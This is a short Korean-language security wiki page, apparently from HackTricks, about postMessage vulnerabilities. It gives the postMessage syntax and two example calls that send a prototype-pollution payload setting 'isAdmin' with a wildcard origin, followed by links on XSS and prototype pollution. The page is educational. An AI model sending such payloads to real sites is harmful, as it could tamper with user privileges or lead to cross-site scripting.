# PostMessage 취약점 ## PostMessage 취약점 {{#include ../../banners/hacktricks-training.md}} ## **PostMessage** 전송 **PostMessage**는 메시지를 전송하기 위해 다음 기능을 사용합니다: ```bash targetWindow.postMessage(message, targetOrigin, [transfer]); # postMessage to current page window.postMessage('{"__proto__":{"isAdmin":True}}', '*') # postMessage to an iframe with id "idframe" document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*') # postMessage to an iframe via onload ``` 자세한 정보는 다음을 참조하세요: - [**프로토타입 오염**](../deserialization/nodejs-proto-prototype-pollution/)에 대한 페이지 링크 - [**XSS**](../xss-cross-site-scripting/)에 대한 페이지 링크 - [**클라이언트 측 프로토타입 오염에서 XSS로**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)에 대한 페이지 링크 ## 참고 문헌 - [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) - [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd) - 연습용: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon) {{#include ../../banners/hacktricks-training.md}}